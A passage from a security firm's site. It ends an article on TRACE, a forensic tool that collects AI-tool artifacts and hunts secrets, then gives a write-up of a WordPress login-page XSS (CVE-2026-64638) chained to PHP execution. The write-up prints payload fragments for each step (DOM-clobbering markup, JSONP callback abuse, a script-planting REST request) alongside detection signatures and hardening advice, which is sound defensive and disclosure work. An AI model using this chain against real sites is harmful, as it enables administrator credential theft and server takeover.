    <div class="rf-cell">
      <span class="rf-tag" style="--c:#7c9cff">Agents</span>
      <h4>Frameworks</h4>
      <p>DeepSeek Harness (dsh), Hermes, AutoGPT, CrewAI, Devin, Eigent, Goose, Kiro, Amazon Q, pi family, Kimi Code, Qwen Code, Continue, Augment, Grok, Amp, Kilo, Shadow AI.</p>
      <p>Sessions, state DBs, memories, cron, secrets, skills, logs.</p>
    </div>
    <div class="rf-cell">
      <span class="rf-tag" style="--c:#fbbf24">Dev tools</span>
      <h4>AI assistants</h4>
      <p>Cursor, Aider, Claude Code, Shell-GPT, Antigravity, VSCodium, Codex CLI, Gemini CLI, OpenCode, Cline/Roo Code, GitHub Copilot, Warp, Zed.</p>
      <p>Chat history, project rules, auth tokens, config.</p>
    </div>
    <div class="rf-cell">
      <span class="rf-tag" style="--c:#c084fc">Cloud</span>
      <h4>Caches</h4>
      <p>HuggingFace Hub.</p>
      <p>Model configs, refs, snapshots, auth token.</p>
    </div>
  </div>
  <figcaption>Figure 2 — The collector surface spans the four places AI evidence lives on an endpoint.</figcaption>
</figure>

Each collector is read-only, knows the platform's artifact paths on Linux, macOS and Windows, and records the original path, source OS, platform, artifact type, size and SHA-256 for every file it copies.

Beyond the static artifact collectors, four live-detection layers close the gap most shadow-AI tools leave open:

- **Network AI collector** — correlates running processes with their outbound connections and classifies destination domains against a catalog of 100+ AI providers. It answers the question static collectors cannot: *which process is talking to which AI provider, right now.*
- **Code Scanner collector** — scans source for AI framework imports, MCP server registrations and hardcoded API keys. A hardcoded key in a repository becomes a credential-exposure finding with a hash and a custody entry, not just a grep hit.
- **Docker AI collector** — Docker's built-in AI assistant (**Gordon**), whose `threads/` directory holds full conversation history, plus hosted LLM images, containers and the model registry.
- **Browser AI collector** — browser-based assistant evidence: Brave Leo's `AIChat/` store, browser history queried for AI-site URLs, and per-site IndexedDB conversation stores.

---

### 2.3 DeepSeek Harness

The newest addition is **DeepSeek Harness (dsh)**, DeepSeek's open-source agent
harness. It is worth calling out because it breaks two assumptions most
collectors make.

Its transcripts are **Zstandard-compressed by default** —
`sessions/--<cwd>--/<id>/session.jsonl.zstd`, one frame appended per write batch
— so a collector that reads lines finds a binary blob, and a decoder that stops
after the first frame recovers only the session header. TRACE decompresses
across frames in both builds.

Its records are also **envelopes** rather than messages: `{type, seq, time,
data}`, with no role at the top level, the model under `message.source`, and
each tool invocation logged twice — once as a nested content block and once as a
standalone `tool/call` event. A generic role/content parser reads nothing from
that, and a naive one double-counts every tool call. Session identity comes from
the header record, because every transcript on disk is named `session.jsonl`.

Beyond transcripts, dsh keeps provider API keys in `~/.dsh/.credentials.yaml`,
registers MCP servers inside its Cordis plugin patch rather than a separate
manifest, and reads skills from a shared `~/.agents` root — which TRACE collects
once dsh is confirmed present, but never treats as evidence that it is.

---

## 3. Secret hunting inside conversations

The most valuable artifact on an AI-enabled endpoint is the transcript, because it is the only place that records what a human *told* a model. It is also where credentials go to die: pasted into a prompt to "just fix the connection", echoed back by the assistant in a code block, embedded in a tool-call argument.

TRACE hunts them specifically.

### 3.1 The detector

The shared secret detector carries **103 rules** — provider keys, cloud credentials, VCS and registry tokens, webhooks, database DSNs, private keys — each with a cheap substring pre-filter, a per-rule entropy floor and a severity. Around it sit the heuristics that separate a useful detector from an alert cannon:

- **Entropy gating per rule.** A distinctive prefix (`AKIA`, `ghp_`, `sk-proj-`) is stronger evidence than any entropy measurement, so those rules bypass the gate. Generic rules must clear a threshold.
- **Path confidence.** The same string is more likely to be a live credential in `~/dev/` than in `node_modules/`. Thresholds shift accordingly.
- **A context layer.** Secrets with no distinctive shape are caught by the *key name* on an assignment line — `client_secret`, `db_password`, `webhook_url` — gated on entropy so that `password = "changeme"` stays quiet.
- **Allowlists.** Lockfiles, vendored trees, minified bundles, `$VAR` and `{{ }}` placeholders, format verbs and stopwords are excluded outright.

### 3.2 Redaction is not optional

The detector never emits a raw secret. Every match is reduced to a redacted preview and a salted fingerprint before it leaves the engine, which is what allows the same credential to be counted once across a case without ever being stored. A TRACE report can be attached to a ticket without becoming a second credential leak.

### 3.3 Direction and provenance

For conversation findings, TRACE records two things most scanners do not:

- **Leak direction** — did the credential travel `user_to_model` (someone pasted it into a prompt) or `model_to_user` (the assistant produced it)? These are different incidents with different responses.
- **Evidence field** — was it in the message content, in a recorded tool command, or in a structured tool-call argument? A key in a tool argument means something executed with it.

> **Takeaway 2 — A secret in a transcript is an incident with a timestamp.** Unlike a key sitting in a config file, a pasted credential tells you exactly when it was exposed, to which vendor, and — through the surrounding turns — what was done with it next.

---

## 4. Forensic soundness: built for the courtroom, not just the SOC

TRACE is designed to produce evidence that survives scrutiny. The guarantees are explicit:

- **Read-only collection** — every collector reads without modifying the source. SQLite databases are opened in immutable mode. No source file is touched.
- **SHA-256 per file** — every collected file is hashed at collection time and the hash recorded in the manifest.
- **Chain of custody** — a `CHAIN_OF_CUSTODY.json` manifest records the tool version, collection timestamp, host and per-file hashes.
- **UTC timestamps** — all timestamps are ISO 8601 UTC, so evidence from different platforms and timezones correlates cleanly.
- **Append-only** — the tool has no deletion capability. The output package is additive by design.
- **Minimal footprint** — no agents installed, no registry modifications, no persistent processes, no network calls. TRACE leaves the endpoint as it found it.

<figure class="rf rf-wide">
  <div class="rf-card rf-card--alert">
    <p class="rf-eyebrow rf-eyebrow--red">Forensic soundness — validated on a live system</p>
    <div class="rf-gantt">
      <span>Read-only</span>
      <div class="rf-lane">
        <i style="--w:100%;--c:rgba(74,222,128,.5)"></i>
        <em>SQLite opened immutable · no source modification</em>
      </div>
    </div>
    <div class="rf-gantt">
      <span>Integrity</span>
      <div class="rf-lane">
        <i style="--w:100%;--c:rgba(74,222,128,.5)"></i>
        <em>SHA-256 per file · append-only output</em>
      </div>
    </div>
    <div class="rf-gantt">
      <span>Footprint</span>
      <div class="rf-lane">
        <i style="--w:100%;--c:rgba(74,222,128,.5)"></i>
        <em>No agents · no registry changes · no network calls</em>
      </div>
    </div>
  </div>
  <figcaption>Figure 3 — Every forensic-soundness requirement was validated in the end-to-end test.</figcaption>
</figure>

The design principle is simple: the tool should be able to testify. If a finding ever reaches a courtroom, the examiner needs to be able to say exactly what was collected, when, from where, and that nothing was altered. TRACE's manifest is built to support that statement.

One deliberate omission belongs here. TRACE does **not** verify credentials against their providers. Live verification would tell you whether a key is still valid — and would also transmit collected evidence to a third party from the examiner's machine, mid-investigation. That trade is not worth making, so the detector stays offline.

---

## 5. The analysis engine: from files to findings

Collection is only half the job. The analysis engine turns raw artifacts into a structured, scored and mapped picture of the AI surface.

### 5.1 Unified timeline

Every collected artifact and parsed conversation is placed on a single timeline, so a responder can see the sequence of AI activity across platforms — what was installed, when a model was pulled, when a conversation happened, when a credential appeared. Collection events are explicitly marked, so the act of investigating can never be mistaken for user activity.

### 5.2 IOC extraction

The IOC extractor pulls indicators from conversations, configs and logs: IP addresses, URLs, domains, file paths, email addresses, suspicious command strings, MD5/SHA-1/SHA-256 hashes, credentials, and data-exfiltration patterns such as base64 encoding piped to a network destination.

Indicators seen on more than one platform are escalated automatically. Shared infrastructure across two AI tools is a stronger signal than the same string in one place.

### 5.3 MITRE ATLAS and ATT&CK mapping

Findings are mapped to MITRE ATLAS — the AI-specific threat framework — covering prompt injection (`AML.T0010`), LLM jailbreak (`AML.T0011`), modify model (`AML.T0025`), AI tool integration (`AML.T0048`), LLM data exfiltration (`AML.T0050`) and LLM credential theft (`AML.T0055`), among others. Those mappings then derive the MITRE ATT&CK techniques they imply, so an AI incident lands in the same language as the rest of the program.

### 5.4 Risk scoring

The risk scorer produces a **0–100 score across four categories**, 25 points each:

<figure class="rf rf-wide">
  <div class="rf-card rf-phases">
    <p class="rf-eyebrow">Risk model — four categories, 25 points each</p>
    <div class="rf-row"><span class="rf-holds">Credentials</span><span class="rf-track"><span class="rf-bar" style="--w:25%;--c:#e63946"></span></span><span class="rf-count">0–25</span></div>
    <div class="rf-row"><span class="rf-holds">Exfiltration</span><span class="rf-track"><span class="rf-bar" style="--w:25%;--c:#fbbf24"></span></span><span class="rf-count">0–25</span></div>
    <div class="rf-row"><span class="rf-holds">Jailbreak</span><span class="rf-track"><span class="rf-bar" style="--w:25%;--c:#7c9cff"></span></span><span class="rf-count">0–25</span></div>
    <div class="rf-row"><span class="rf-holds">Autonomy</span><span class="rf-track"><span class="rf-bar" style="--w:25%;--c:#c084fc"></span></span><span class="rf-count">0–25</span></div>
  </div>
  <figcaption>Figure 4 — The risk model scores credentials, exfiltration, jailbreak and autonomy on a 0–100 scale.</figcaption>
</figure>

The report expands this into an eight-category breakdown that adds network exposure, supply chain, data integrity and compliance. The score is a triage primitive — it tells a responder where to look first, not what to conclude. Section 8 shows exactly how much that distinction matters.

### 5.5 Kill chain, narratives and priority actions

The analyzer adds the responder-facing layer: a **kill chain** showing which of the seven stages the evidence supports, **attack narratives** that assemble corroborated findings into a story, **cross-platform correlations**, and **priority actions** ranked so the first five are the ones worth doing today.

---

## 6. Reporting: HTML, JSON, STIX 2.1

TRACE produces three report formats, each for a different consumer:

- **HTML** — a dark, self-contained forensic report across fifteen tabs: executive summary, attack surface map, findings, IOCs, timeline, MITRE, kill chain, actions, narratives, correlations, conversations, secret hunt, risk, evidence manifest and appendices. The charts render in pure CSS, so the report needs **no JavaScript to read**, has no CDN dependencies, opens offline and prints as-is.
- **JSON** — structured output for SIEM/SOAR ingestion and programmatic analysis.
- **STIX 2.1** — a threat-intelligence bundle for sharing with MISP, OpenCTI and partner teams.

The STIX output is worth emphasising. AI-harness evidence is a new intelligence domain, and STIX 2.1 gives teams a standard way to share it — a finding about a jailbreak pattern or a leaked API key becomes an object other teams can consume and correlate.

For teams already running **DFIR-IRIS**, `trace iris` pushes the whole case in one command: the source host as an asset, every indicator as an IOC, the timeline as case events, findings as notes and priority actions as tasks.

---

## 7. Velociraptor artifact pack: fleet deployment

A single-endpoint CLI is useful; a fleet capability is what platform teams need. TRACE ships **17 Velociraptor artifacts** for deployment across an estate from an existing Velociraptor server — covering inference engines, agents, dev tools, API keys, HuggingFace, network, processes, browser, Docker, code scanning and the shadow-AI sweep. Two artifacts are new in this release: `TRACE.AI.CodingAgents` (18 per-platform sources for the 2026 coding agents) and `TRACE.AI.LocalApps` (Jan, AnythingLLM, LocalAI, Open WebUI, vLLM, Lemonade).

Three of them — `TRACE.AI.Binary.Linux`, `TRACE.AI.Binary.macOS` and `TRACE.AI.Binary.Windows` — fetch and run the Go binary on each endpoint and return the results. That is the whole fleet story: no new infrastructure, no agent to deploy, and the same evidence model as a hands-on collection.

---

## 8. Validation: a live end-to-end run

TRACE was run end to end against a live analyst workstation (macOS, arm64) on 15 August 2026 — a working developer machine with a heavy AI footprint, which is precisely the profile the tool exists for.

<figure class="rf rf-wide">
  <div class="rf-stats">
    <div class="rf-stat"><b>1,258</b><span>artifacts collected from 12 platforms</span></div>
    <div class="rf-stat"><b>97,542</b><span>IOCs extracted</span></div>
    <div class="rf-stat"><b>621</b><span>secret findings across 150 conversation turns</span></div>
    <div class="rf-stat"><b class="is-red">100/100</b><span>risk score — saturated (see 8.1)</span></div>
  </div>
</figure>

Where the evidence concentrated: the shadow-AI sweep (485 artifacts), Cursor (356), Antigravity (275), Claude Code (68), Hermes (30), Ollama (18), LM Studio (11), then Docker AI, HuggingFace, the code scanner, llama.cpp and Unsloth.

The indicator distribution is a useful picture of what an AI surface actually contains:

<figure class="rf rf-wide">
  <div class="rf-card rf-phases">
    <p class="rf-eyebrow">IOC distribution — 97,542 indicators by type</p>
    <div class="rf-row"><span class="rf-holds">filepath</span><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#7c9cff"></span></span><span class="rf-count">74,960</span></div>
    <div class="rf-row"><span class="rf-holds">url</span><span class="rf-track"><span class="rf-bar" style="--w:21%;--c:#7c9cff"></span></span><span class="rf-count">15,775</span></div>
    <div class="rf-row"><span class="rf-holds">domain</span><span class="rf-track"><span class="rf-bar" style="--w:3.7%;--c:#38bdf8"></span></span><span class="rf-count">2,810</span></div>
    <div class="rf-row"><span class="rf-holds">api_key</span><span class="rf-track"><span class="rf-bar" style="--w:1.7%;--c:#e63946"></span></span><span class="rf-count">1,306</span></div>
    <div class="rf-row"><span class="rf-holds">hash_sha256</span><span class="rf-track"><span class="rf-bar" style="--w:1.5%;--c:#38bdf8"></span></span><span class="rf-count">1,108</span></div>
    <div class="rf-row"><span class="rf-holds">email</span><span class="rf-track"><span class="rf-bar" style="--w:1%;--c:#c084fc"></span></span><span class="rf-count">710</span></div>
    <div class="rf-row"><span class="rf-holds">exfil_pattern</span><span class="rf-track"><span class="rf-bar" style="--w:0.6%;--c:#e63946"></span></span><span class="rf-count">417</span></div>
    <div class="rf-row"><span class="rf-holds">hash_sha1</span><span class="rf-track"><span class="rf-bar" style="--w:0.3%;--c:#38bdf8"></span></span><span class="rf-count">136</span></div>
    <div class="rf-row"><span class="rf-holds">command</span><span class="rf-track"><span class="rf-bar" style="--w:0.3%;--c:#fbbf24"></span></span><span class="rf-count">130</span></div>
    <div class="rf-row"><span class="rf-holds">ip</span><span class="rf-track"><span class="rf-bar" style="--w:0.1%;--c:#38bdf8"></span></span><span class="rf-count">66</span></div>
  </div>
  <figcaption>Figure 5 — File paths dominate, but the 1,306 credential hits and 417 exfiltration patterns are the signals a responder acts on.</figcaption>
</figure>

The secret hunt found **621 findings across 150 turns, 254 of them unique** — 30 critical and 591 high — with 618 travelling `user_to_model`. That ratio is the story of the modern workstation: credentials are not leaking *out* of the model, they are being pasted *into* it.

The kill chain resolved 5 of 7 stages, and MITRE mapping produced 10 ATT&CK techniques led by `T1071` (application layer protocol), `T1105` (ingress tool transfer) and `T1552` (unsecured credentials).

### 8.1 Reading the score honestly

The overall risk score came back **100/100 (critical)**, with all four categories maxed out. That number needs a caveat, and withholding it would be the easy dishonesty here.

This is a developer workstation running a dozen AI tools daily. The scoring model was designed for endpoints where credentials, outbound AI traffic, tool execution and prompt-pattern hits are exceptional. On a machine where all four are routine, every category saturates — and a saturated model stops discriminating. A 100 here means "this endpoint has a very large AI surface", not "this endpoint is compromised".

Likewise, the 1,767 conversation findings are pattern matches, not confirmed attacks. A developer discussing a jailbreak, writing a prompt-injection test, or asking an assistant to read a `.env` file trips the same patterns as a genuine incident. Findings are leads for an examiner, not verdicts.

> **Takeaway 3 — A saturating score is a finding about your model, not just your endpoint.** Baseline the score per machine class before treating any absolute value as meaningful. What is worth watching is the delta from a known-good baseline for that role, and the specific findings underneath it — a credential fingerprint appearing for the first time is worth more than the score that contains it.

That is also why the report leads with prioritized actions rather than the gauge. On this run the top three were: rotate the exposed credentials, investigate the exfiltration indicators, and harden the guardrails around the tools showing jailbreak-pattern turns.

---

## 9. What this means for a DFIR team

TRACE is not a replacement for a full incident-response platform. It is a purpose-built acquisition and analysis layer for a class of evidence that standard tooling ignores. Three ways to use it:

1. **Shadow-AI inventory.** Run the sweep across the fleet via Velociraptor to answer "what AI is installed where". This is the prerequisite for every AI governance decision.
2. **Incident scoping.** When an AI tool is implicated — a leaked key, a jailbroken assistant, an agent that went somewhere it should not — TRACE collects the transcripts, config and credentials that tell the story, with the custody record to back them.
3. **Baseline and trend.** Run it per machine class quarterly. Watch the categories move, and treat a new credential fingerprint or a newly detected kill-chain stage as the signal.

> **Takeaway 4 — The evidence window for AI artifacts is short, and it is closing.** Conversations rotate, caches clear, and ephemeral agents tear down. The tool that collects AI evidence has to be run *before* the incident, or the artifacts are gone. TRACE is designed to be run as a routine sweep, not just a response tool.

---

## 10. Get started

IONSEC TRACE is open source under AGPL-3.0-or-later, and we want the community to extend it. The collector surface is deliberately modular — adding a platform means implementing a collector against a documented template, on both sides of the catalog.

```bash
# Python CLI
pip install ionsec-trace
trace discover
trace collect -o /evidence --deep
trace analyze /evidence --secret-hunt
trace report /evidence --format all

# Or the single Go binary — no runtime required
./trace run -o /evidence
```

- **Site:** [ionsec.github.io/trace](https://ionsec.github.io/trace/) — capabilities, deployment and a walkthrough of the report.
- **Repository:** [github.com/ionsec/trace](https://github.com/ionsec/trace), with prebuilt binaries for macOS, Linux and Windows on the [releases](https://github.com/ionsec/trace/releases) page.
- **Documentation:** installation guide, user guide and end-to-end walkthrough, plus an artifact reference documenting the paths and evidence value of every platform TRACE targets.

**Leave no model untraced.** If you are running AI on your endpoints — and you almost certainly are — TRACE is the tool that tells you what is there, what it did, and what it left behind.

If a sweep turns up something you cannot explain, [talk to the IONSEC DFIR team](https://www.ionsec.io/contact). We built TRACE for our own investigations, and we run those investigations for other people too.

---

## References

1. IONSEC — *The Machine Has No Disk: Forensic Readiness for AI Agent Runtimes*, 4 August 2026. https://www.ionsec.io/blog/ai-agent-runtime-forensics

---

# XSS2Shell: One Failed Login to PHP on the Server

URL: https://www.ionsec.io/resources/xss2shell-wordpress-pre-auth-xss-to-rce
Category: Article
Author: IONSEC Team
Published: 2026-08-07
Tags: research, threat-intelligence, wordpress, web-security, xss, incident-response, cve-2026-64638

CVE-2026-64638 is a reflected XSS on the WordPress login page — the finding most teams close as medium. Six gadgets sit between it and a PHP shell, and every one of them was already in core. Here is the chain, the log signatures, and what to harden after you patch.

A reflected cross-site scripting bug on a login form is the most triaged-away finding in web security. It lands in the report as medium, the remediation ticket says "encode the error message", and it waits behind whatever is actually on fire this quarter.

[CVE-2026-64638](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-52p2-r8wf-jcrf) is that finding, in WordPress Core, on a login page that answers on a very large share of the public web. Discovered and responsibly disclosed by the team at [pwn.ai](https://pwn.ai/blog/xss2shell), it carries a CVSS 4.0 score of **8.9** — because between the reflected XSS and PHP running on the server sit six more steps, and every one of them was already shipping in core.

WordPress fixed it in **7.0.3 on 6 August 2026** and backported the patch across 24 maintenance branches, down to 4.7.34.

> **The one-sentence version.** The XSS needs no account at all. The code execution needs one further thing the attacker cannot manufacture: a logged-in administrator who clicks once on a page the attacker controls.

That caveat matters for how you prioritise, and it is the part that gets dropped when this circulates as "unauthenticated WordPress RCE". It is not zero-click. It is also not hard — the click is an ordinary one on an ordinary-looking page.

## Am I exposed?

The only question that matters first is which point release you are on, and the answer is not "we're on 6.8, which is old but fine". The fix was backported, so 6.8.7 is patched and 6.8.6 is not.

| Branch | Last vulnerable | Patched release |
| --- | --- | --- |
| 7.0 | 7.0.2 | **7.0.3** |
| 6.9 | 6.9.5 | 6.9.6 |
| 6.8 | 6.8.6 | 6.8.7 |
| 6.7 | 6.7.5 | 6.7.6 |
| 6.6 | 6.6.5 | 6.6.6 |
| 6.5 | 6.5.8 | 6.5.9 |
| 6.4 | 6.4.8 | 6.4.9 |
| 6.3 | 6.3.8 | 6.3.9 |
| 6.2 | 6.2.9 | 6.2.10 |
| 6.1 | 6.1.10 | 6.1.11 |
| 6.0 | 6.0.12 | 6.0.13 |
| 5.9 and below | down to 4.7.33 | down to 4.7.34 |

We published a passive checker that infers a site's WordPress version from public endpoints only — no login attempts, no payloads, nothing a WAF should log as an attack:

**→ [wp-check.ionsec.io](https://wp-check.ionsec.io)**

It reads the generator tag, the feed, `readme.html`, the `?ver=` strings on core assets and the REST index, cross-checks them against the table above, and tells you which signals disagreed. Scan only domains you own or are authorised to test.

## Step 1 — Two parsers, one string

The injection point is the failed-login error. `wp_authenticate_username_password()` in `wp-includes/user.php` echoes the submitted username back into the page, after sanitisation. Two different sanitisers touch it, and they do not agree on what a tag is.

PHP's `strip_tags()` requires the `<` to be immediately followed by the tag name. WordPress's KSES layer is more forgiving, and treats a space after the bracket as whitespace inside a perfectly ordinary tag:

```php
strip_tags('<area id=test>');    // ''                  — stripped
strip_tags('< area id=test>');   // '< area id=test>'   — survives
// …and KSES then parses that survivor as a real <area> element.
```

`<area>` is on the KSES allowlist, along with the attributes `id`, `class`, `href` and `name`. That is a very short list. It is also, as it turns out, exactly enough.

This class of bug — a sanitiser and a parser disagreeing about the same bytes — is well documented as [parsing differentials](https://www.ias.cs.tu-bs.de/publications/parsing_differentials.pdf) and is the same family as [mutation XSS](https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/). The defensive lesson generalises well beyond WordPress: **if two layers in your stack parse HTML, they have to be the same parser.** Anywhere they are not, the allowlist is advisory.

## Step 2 — Clobbering the DOM with an allowlist

No `<script>` is possible here — KSES would never allow it. So no script is used.

WordPress enqueues `wp-admin/js/user-profile.js` on the login page. That script exists for the password-reset screen, and it is not supposed to do anything on a login form. Two of its behaviours are reachable anyway:

- around line 620, on document ready, it runs `$('.reset-pass-submit').find('.wp-generate-pw').trigger('click')`
- around line 562, it binds a delegated click handler under `#color-picker` for elements matching `.color-option`

Both are pure class and id lookups. The injected markup supplies all of them, plus one more element whose id shadows a global the script uses:

```html
< area id=ajaxurl href=/test>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X
```

The first line is [DOM clobbering](https://portswigger.net/research/dom-clobbering-strikes-back): an element with an `id` becomes a property of `window`, so `window.ajaxurl` — which the script reads to decide where to send its request — is now an `HTMLAreaElement` that the attacker controls. The remaining two lines make the script fire itself on page load, with no interaction at all.

The attacker has not run a single line of their own JavaScript. They have supplied nouns, and let WordPress's own script supply the verbs.

## Step 3 — Making the REST API hand back executable script

jQuery's `$.post()` stringifies whatever it is given as a URL. Stringifying an `HTMLAreaElement` yields its `href`. So the clobbered global becomes the request target, and the attacker chooses it:

```
< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>
```

Three [documented REST parameters](https://developer.wordpress.org/rest-api/using-the-rest-api/global-parameters/) are doing the work:

- **`_jsonp`** wraps the response in a callback and serves it as `Content-Type: application/javascript`. jQuery sees that content type and runs the body through `jQuery.globalEval()`.
- **`_method=GET`** overrides the verb, so a POST reaches a GET-only route.
- **`_envelope=1`** wraps the real status inside a 200 response body, so an authentication failure does not stop the flow.

The callback name is validated against `^[a-zA-Z0-9_.]+$`. The attacker now has arbitrary function invocation in the site's origin, delivered by the site's own REST API.

Notably, the original research reports that this survived a nonce-based Content Security Policy with `strict-dynamic`. That is consistent with the known behaviour of [DOM clobbering as a CSP bypass primitive](https://portswigger.net/research/bypassing-csp-via-dom-clobbering): the script that runs is one the page already trusted, and CSP has no opinion about which global it read a URL from.

## Step 4 — The dot in the regex

`^[a-zA-Z0-9_.]+$` permits dots. A dot means property traversal, and property traversal from a child window reaches its opener:

```
_jsonp=window.opener.approve.click
```

This is [Same Origin Method Execution](https://blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf), described by Ben Hayak at Black Hat EU in 2014. The attacker cannot read the opener's page — same-origin policy still applies across origins — but they do not need to. They only need to call one method on it, and the opener is the administrator's authenticated session.

The mitigation for SOME has been the same for eleven years and is worth restating because this bug is a direct instance of it: **a JSONP callback name must be an allowlist, not a character class.**

## Step 5 — Minting an application password

Now the pieces assemble into something the administrator does themselves.

The attacker's page opens a blank child window, navigates the main window to the genuine `/wp-admin/authorize-application.php` — a real WordPress screen, on the real domain, with a real TLS certificate — and has the child fire the chain above with the callback aimed at the opener's approve button.

One click from the administrator drives `auth-app.js` to completion. WordPress mints an application password and returns it in the redirect, in the query string:

```
/?site_url=…&user_login=admin&password=XXXXXXXXXXXX
```

The attacker now holds a durable administrator credential that survives a password change and is not covered by the site's multi-factor authentication.

## Steps 6 and 7 — From credential to PHP

The rest is ordinary authenticated abuse, which is exactly why it is so fast.

With HTTP Basic authentication and the stolen application password, the attacker publishes a page containing a `<script>` tag. On a single-site install, administrators hold the `unfiltered_html` capability, so nothing strips it:

```http
POST /wp-json/wp/v2/pages
Authorization: Basic <base64 of admin:app-password>

{"title":"x","status":"publish","content":"<script>…</script>"}
```

That persisted script then scrapes the plugin-upload nonce and posts a ZIP to `/wp-admin/update.php?action=upload-plugin`.

Here is the part worth internalising even if you never run WordPress again: **a plugin does not have to be activated to execute.** The upload extracts files into `/wp-content/plugins/`, and that directory is served by the web server. Requesting the uploaded PHP file directly runs it. There is no activation step to audit, no admin action to review, no plugin list entry that looks wrong.

The published proof of concept is a few lines that return a header and shell out — enough to prove execution, and it is at that point a normal post-exploitation problem on your infrastructure.

## Detection

If you are asking whether you were hit before you patched, these are the artefacts. They are cheap to grep for and they survive in ordinary access logs.

**On the login endpoint** — the parser differential leaves a very distinctive shape, because the space after the angle bracket is the whole trick:

```
POST /wp-login.php  with log= containing "< area", "< div", "< button"
```

Any left angle bracket followed by a space in a submitted username is worth a look regardless of what follows it.

**On the REST API** — the global parameters are rarely used by legitimate traffic on a modern site:

```
_jsonp=          any REST request carrying it at all
_jsonp=a.b.c     a value containing a dot — this is the SOME tell, not a callback
_envelope=1      combined with _method=GET on a route that should have refused
```

**On the credential flow** — this is the highest-confidence signal, because it is the point where the attack stops being reconnaissance:

- an application password created within seconds of a request to `authorize-application.php`
- a redirect or referrer containing `site_url=`, `user_login=` and `password=` together
- any application password whose name you do not recognise, on any administrator account

**On the filesystem and the upload path** — the end of the chain:

- `POST /wp-admin/update.php?action=upload-plugin` from an address that has never administered the site
- new PHP files under `/wp-content/plugins/` belonging to a plugin that was never activated
- direct `GET` requests to a `.php` file inside a plugin directory, rather than to `index.php`

If you find the last two, treat it as a confirmed compromise and work the incident: the administrator's application password is still valid until it is explicitly revoked, and revoking the account's login password does not revoke it.

## Remediation

**Patch.** Move to the patched release on your branch from the table above. If you run managed hosting, confirm the point release rather than the branch — "we're on 6.8" is not an answer to this question.

**Then revoke.** Patching closes the door; it does not evict anyone already inside. Audit and rotate application passwords for every administrator account, whether or not you found evidence. This step is skipped constantly and it is the one that decides whether the patch actually helped.

## Hardening beyond the patch

These are IONSEC recommendations, not part of the vendor fix. Each one breaks a different link in the chain, which is the point — the reason this bug scored 8.9 is that no single link was load-bearing on its own.

**Disable application passwords where they are not used.** Most sites have never issued one. They are the pivot from browser-side script execution to a durable server-side credential, and turning them off removes the whole second half of the chain:

```php
add_filter( 'wp_is_application_passwords_available', '__return_false' );
```

**Turn off JSONP on the REST API.** It exists for cross-origin consumers that predate CORS. If you do not have one, it is pure attack surface:

```php
add_filter( 'rest_jsonp_enabled', '__return_false' );
```

**Stop file modification from the dashboard.** This blocks plugin and theme installation and editing outright, and it is the correct posture for any site deployed from version control:

```php
define( 'DISALLOW_FILE_MODS', true );
```

**Deny PHP execution where PHP should never run.** `/wp-content/uploads/` is the classic case, but the plugin directory deserves the same scrutiny — as step 7 shows, reachable-and-executable is the property that matters, not installed-and-activated.

**Block the upload endpoint at the edge.** `/wp-admin/update.php?action=upload-plugin` has exactly one legitimate source: your own administrators. Restrict it by source address at the CDN or WAF.

**Watch for scripts on pages that should not have them.** The persistence step depends on `unfiltered_html`. Alerting on a published page whose content contains a `<script>` tag catches step 6 before step 7 happens.

## What this actually says about triage

The lasting lesson here is not about WordPress. It is that severity is a property of a chain, not of a bug.

Every individual component in this chain was known, documented and, in isolation, boring. A parser differential in a sanitiser. A password-reset script loaded on the wrong page. A JSONP callback validated by regex instead of an allowlist. An application password returned in a query string. A plugin directory that executes uploaded files. Each of those, filed on its own, is a low or a medium and reads like housekeeping.

Assembled, they are 8.9 and a shell.

When a reflected XSS comes back from a test, the useful question is not "how bad is this XSS". It is: **what is already loaded on this page, and what will it do if I hand it the right nouns?**

---

## References

1. pwn.ai — *XSS2Shell: WordPress Preauth XSS to RCE Chain (CVE-2026-64638)* — <https://pwn.ai/blog/xss2shell>
2. WordPress — GHSA-52p2-r8wf-jcrf, the official advisory with the full affected and patched version lists — <https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-52p2-r8wf-jcrf>
3. WordPress News — *WordPress 7.0.3 release*, 6 August 2026 — <https://wordpress.org/news/2026/08/wordpress-7-0-3-release/>
4. Patchstack — *WordPress 7.0.3 Released: 12 Vulnerabilities Found and Fixed* — <https://patchstack.com/articles/wordpress-7-0-3-released-12-vulnerabilities-found-and-fixed/>
5. The Hacker News — *New WordPress Pre-Auth XSS Could Lead to PHP Code Execution* — <https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html>
6. Search Engine Journal — *WordPress Security Release 7.0.3 Fixes High Severity XSS Vulnerability* — <https://www.searchenginejournal.com/wordpress-security-release-7-0-3-fixes-high-severity-xss-vulnerability/584927/>
7. Ben Hayak — *Same Origin Method Execution*, Black Hat EU 2014, the primitive used in step 4 — <https://blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf>
8. Invicti — Same Origin Method Execution, including JSONP callback allowlisting as the fix — <https://www.invicti.com/web-application-vulnerabilities/same-origin-method-execution-some>
9. PortSwigger Research — *DOM Clobbering Strikes Back*, the primitive used in step 2 — <https://portswigger.net/research/dom-clobbering-strikes-back>
10. PortSwigger Research — *Bypassing CSP via DOM Clobbering* — <https://portswigger.net/research/bypassing-csp-via-dom-clobbering>
11. TU Braunschweig — *Bypassing HTML Sanitizers via Parsing Differentials*, the bug class behind step 1 — <https://www.ias.cs.tu-bs.de/publications/parsing_differentials.pdf>
12. Sonar — *mXSS: The Vulnerability Hiding in Your Code* — <https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/>
13. WordPress Developer Resources — REST API global parameters (`_jsonp`, `_envelope`, `_method`) — <https://developer.wordpress.org/rest-api/using-the-rest-api/global-parameters/>
14. WordPress Developer Resources — Application Passwords integration guide — <https://developer.wordpress.org/rest-api/using-the-rest-api/authentication/>
15. Rapid7 — *CVE-2026-63030: wp2shell*, the separate WordPress Core RCE chain patched three weeks earlier — <https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/>

---

